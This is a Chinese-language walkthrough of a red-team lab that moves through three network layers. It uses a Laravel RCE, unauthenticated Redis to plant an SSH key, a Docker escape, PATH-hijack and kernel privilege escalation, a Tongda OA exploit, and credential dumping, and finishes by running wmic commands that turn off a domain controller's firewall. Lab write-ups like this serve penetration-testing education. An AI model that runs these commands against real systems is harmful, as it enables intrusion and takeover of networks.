前言

这个靶机是红日安全的ATT&CK实战系列-红队评估(七)

攻击拓扑图如下:

1

这里的攻击者ip为192.168.0.102

Web1的外网ip为192.168.0.105

环境搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
DMZ区的 Ubuntu (Web1) 需要启动redis和nginx服务:

sudo redis-server /etc/redis.conf

sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf

sudo iptables -F

第二层网络的 Ubuntu (web2)需要启动docker容器:

sudo service docker start

sudo docker start 8e172820ac78

第三层网络的 Windows 7(PC 1)需要启动通达OA:

C:\MYOA\bin\AutoConfig.exe

外网渗透

端口扫描

首先对Web1 ip进行端口扫描查看开放端口情况

2

80端口为404,81端口为Laravel服务,还开放了6379 Redis服务

Laravel Debug mode RCE(CVE-2021-3129)

image-20220918152317620

可以看到Laravel版本号,优先考虑是否存在历史漏洞,这里存在CVE-2021-3129 Debug RCE,直接使用exp getshell,工具地址:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP.git

3

使用哥斯拉连接即可,因为工具比较早期,所以需要使用低版本哥斯拉,我这里使用的v1.1.0

4

发现是个Docker

还是习惯蚁剑一点,上传一个webshell用蚁剑连吧,查看一下当前ip

5

发现目标机器只有一个ip为172.17.0.2,而我们是通过192.168.0.105的web入口拿下来的,猜测可能是个docker,需要验证一下

6

根目录存在.dockerenv文件、cat /proc/1/cgroup存在docker字段、pid为1的进程不是和系统启动相关进程而是web业务进程,故这必然是个docker,如果要逃逸就需要一个交互式shell,不过经过尝试这里无法反弹shell,不出网,暂时放一放

Redis未授权访问

继续回到192.168.0.105这个ip上,因为还开放了Redis,尝试一下后发现存在未授权访问(希望不是docker)8

试一下写ssh公钥

1
2
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt #将公钥导入foo.txt文件
cat foo.txt | redis-cli -h 192.168.0.105 -p 6379 -x set hello #把foo.txt文件内容写入目标主机的redis缓冲中

9

1
2
3
config set dir /root/.ssh
config set dbfilename authorized_keys
save

10

使用root账号登陆192.168.0.105的ssh

11

成功拿下目标主机,发现该主机还有个192.168.52段的内网ip,先上个msf

12

开始进内网~

第二层内网渗透

内网存活主机扫描

对192.168.52段存活主机进行ping扫描,这里用sh脚本进行ping扫描

15

发现内网网段内存在另一台主机192.168.52.20,对其进行端口扫描,这里将shell弹到msf上设置msf客户端代理

1
2
run autoroute -s 192.168.52.1/24
run autoroute -p

13

再设置socks代理

14

在本地通过proxychains使用nmap对192.168.52.20进行端口扫描

1
nmap -sT -sV 192.168.52.20 -p 1-10000

16

发现nginx反向代理

发现开放了8000端口,通过代理访问看看是啥

17

还是一样的Laravel…同样方式getshell吧,这里就略过,getshell后发现就是之前的docker环境,猜测是192.168.52.20开启的docker 8000端口映射到了192.168.52.10的81端口上,确实这儿做了一个nginx反代

18

Docker逃逸

说明之前如果成功逃逸就会得到192.168.52.20的shell,之前不能逃逸的原因是因为不出网,没有办法获取到交互式shell无法逃逸,现在既然有了一台肉鸡192.168.52.10,那么就可以反弹docker shell到192.168.52.10上

19

这样接着进行脏牛提权

20

这样就新建了一个firefart管理员账户,密码为123456,直接使用ssh登陆,但是显示成功确登陆不上去,看了/etc/passwd也没新增firefart用户,另外exp的脏牛exp也打不了

suid&环境变量提权

先做个本地提权吧,查一下suid

21

在/home/jobs下有一个demo.c和shell,根据shell文件执行结果来看demo.c是shell的源码

22

通过以下方式劫持环境变量进行提权

1
2
3
4
5
6
7
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell

23

特权模式Docker逃逸

在非特权模式模式容器里就算是root也没有办法通过fdisk -l查看宿主机磁盘信息,而这儿可以,说明开启了特权模式

24

接着进行如下操作

1
2
mkdir /test
mount /dev/sda1 /test #挂载宿主机磁盘到/test目录

接着就可以在宿主机写root的ssh公钥了,为了方便写入我在本地写好通过蚁剑上传到tmp目录再移动到/test/root/.ssh下,但是写入进去后还是不能登录root,可能ssh禁用了root登录或者做了相关限制,在/home目录下发现存在ubuntu用户,尝试写ubuntu的ssh公钥,成功登录

25

权限提升

通过uname -a发现是2019年的ubuntu,尝试使用CVE-2021-3493进行提权

26

端口映射&msf上线

一样msf上个线吧,这里将本地4444端口映射到192.168.52.10的5555端口上

27

29

现在生成一个反弹shell到192.168.52.10:5555的后门即可

30

通达OA RCE

192.168.52.30开放的8080端口访问发现是通达,直接exp一把梭

28

蚁剑连接发现是一台system权限的windows,生成windows后门反弹到msf上

31

第三层内网渗透

内网存活主机扫描

在第二层内网渗透中发现192.168.52.20和192.168.52.30存在192.168.117段网卡,接下来对192.168.117段存活主机进行ping扫描,这里还是用sh脚本进行ping扫描

32

这里除去192.168.52.20(192.168.117.10)和192.168.52.30(192.168.117.20)外,117网段还存在两台主机,分别是192.168.117.30和192.168.117.40,先添加一条117段路由进去

33

更新一下socks代理

34

对两个ip进行端口扫描

1
proxychains4 nmap 192.168.117.30 192.168.117.40

35

从开放端口可知192.168.117.30是域控,先看看192.168.117.40是什么操作系统吧

36

可见是一台win7,又开放了445和3389,尝试一下ms17-010和cve-2019-0708,检测漏洞是存在的,但是ms17-010正向shell发现连不上去,cve-2019-0708可以

37

尝试抓取密码,发现无明文密码记录,突然想到之前192.168.52.30(192.168.117.20)也是一台system权限的windows并且也在该域中,尝试抓取密码(这里为了方便就不导出本地在解密了)

38

发现成功抓取到域管理员的明文密码Whoami2021,直接psexec上线域控,发现msf中psexec模块无会话生成,应该是防火墙原因,使用wmi连接上域控后关闭防火墙

1
2
3
4
cscript.exe //nologo wmiexec.vbs /shell 192.168.117.30 Administrator Whoami2021
netsh advfirewall set allprofiles state off
#或者一条命令
wmic /node:192.168.117.30 /user:WHOAMIANONY\Administrator /password:Whoami2021 process call create "netsh advfirewall set allprofiles state off"

40

这个时候再使用psexec上线域控

41

到此三层网络渗透结束

42